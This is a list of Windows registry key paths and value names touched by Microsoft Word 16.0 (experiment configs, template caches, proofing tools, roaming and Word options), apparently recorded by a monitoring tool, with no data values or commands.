HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.3

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.4

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.5

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.6

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.7

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.8

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.9

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.10

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.11

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.12

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.13

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.14

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.15

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.17

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.18

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.19

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.20

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.21

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.22

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.23

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.24

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.25

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.26

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.27

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.28

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

1.29

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

VersionId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word

ETag

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word

DeferredConfigs

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word

ConfigIds

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Resiliency\DocumentRecovery\34316

34316

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ExdCache\Word8.0

MSForms

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ExdCache\Word8.0

MSComctlLib

HKEY_CURRENT_USER\SOFTWARE\Microsoft\VBA\Forms3\Controls

EnableActiveXControlArchitetureIndependent

HKEY_CURRENT_USER\SOFTWARE\Microsoft\VBA\Forms3\Controls

EnableActiveXControlMSWebBrowserArchiteturePersistenceIssue

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400000000000F01FEC\Usage

NULL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100C0400000000000F01FEC\Usage

NULL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100C0400000000000F01FEC\Usage

SpellingAndGrammarFiles_1036

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100A0C00000000000F01FEC\Usage

NULL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100A0C00000000000F01FEC\Usage

SpellingAndGrammarFiles_3082

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming\Identities\Anonymous\Settings\1342\{00000000-0000-0000-0000-000000000000}

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming\Identities\Anonymous\Settings\1342\{00000000-0000-0000-0000-000000000000}\PendingChanges

Data

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Draw

InkToolboxPensWordV2

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\IdentityCRL\ClockData

NULL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\IdentityCRL\ClockData

ClockTimeSeconds

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\IdentityCRL\ClockData

TickCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Shared Tools\Proofing Tools\1.0\Custom Dictionaries

UpdateComplete

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Volatile

MsaDevice

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming

RoamingLastSyncTimeWord

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming

RoamingLastWriteTimeWord

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851216

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328884

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03090430

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457444

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033917

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328893

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328905

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851217

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328908

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033919

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328916

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033921

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457464

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033925

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocParts\1033

TM03998158

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocParts\1033

TM01840907

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457475

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM10001114

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851218

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851219

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851220

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851221

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328919

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851222

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocParts\1033

TM03998159

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328925

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851223

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851224

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033927

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457485

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457491

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851225

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457496

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM10001115

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328932

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328935

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457503

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328940

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328998

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457510

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851227

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033929

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328972

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328951

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocParts\1033

TM02835233

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328975

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328983

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328986

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851226

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033937

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328990

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457515

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03090434

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

NextUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

LastUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

NextUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

LastUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocParts\1033

NextUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocParts\1033

LastUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Reading Locations\Document 0

File Path

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Reading Locations\Document 0

Datetime

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Reading Locations\Document 0

Position

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security\Trusted Documents

LastPurgeTime

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

NextUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

LastUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Data

Toolbars

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Toolbars\Settings

Microsoft Word

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Shared Tools\Panose

Calibri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Shared Tools\Panose

Times New Roman

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Shared Tools\Panose

Calibri Light

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Shared Tools\Panose

Wingdings

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Data

Settings

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

VisiForceField

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

IgnoreFilenamesEmailAliases

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

AutoSpell

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

NoContextSpell

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

InsPic

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

SoundFeedback

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

BkgrndPag

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

ATUserAdded

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

AccentOnUpper

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

AppWindowPos

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Options

AppWindowPosKey

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Signals\Stats\Anonymous\Microsoft.Word.Document

ClicksData

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

en-CH

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

en-GB

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

en-CH

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

en-GB

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common

SessionId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\2156

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--lcid=1033&syslcid=8192&uilcid=1033&build=16.0.16827&crev=3\0

FilePath

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--lcid=1033&syslcid=8192&uilcid=1033&build=16.0.16827&crev=3\0

StartDate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--lcid=1033&syslcid=8192&uilcid=1033&build=16.0.16827&crev=3\0

EndDate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Internet\WebServiceCache

LastClean

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\2156

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Resiliency

PotentialDataLossInfo2

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData

ChunkCount

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word

Expires

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\2156

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F00000000000000000F01FEC\Usage

VBAFiles

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100C0400000000000F01FEC\Usage

SpellingAndGrammarFiles_1036

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100C0400000000000F01FEC\Usage

SpellingAndGrammarFiles_1036

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100A0C00000000000F01FEC\Usage

SpellingAndGrammarFiles_3082

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100A0C00000000000F01FEC\Usage

SpellingAndGrammarFiles_3082

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming\Identities\Anonymous\Settings\1342\{00000000-0000-0000-0000-000000000000}\PendingChanges

Data

HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Immersive\production\Property

0018000DDABBE6B3

HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Immersive\production\Token\{2B379600-B42B-4FE9-A59C-A312FB934935}

DeviceTicket

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming

RoamingConfigurableSettings

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming

RoamingConfigurableSettings

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming

RoamingLastWriteTimeWord

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328935

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851227

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851216

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocParts\1033

TM01840907

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851219

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328905

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328972

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328986

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851218

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851223

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328932

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328975

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328884

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328951

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328925

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328893

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328908

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328916

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328983

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328919

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851220

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328940

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851221

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851224

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851225

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328998

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851217

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocParts\1033

TM03998158

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocParts\1033

TM02835233

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

TM03328990

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851226

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457491

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03090434

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457515

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03090430

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

TM02851222

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457496

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM10001115

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457503

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033917

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457510

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033919

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM10001114

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033925

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033929

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033921

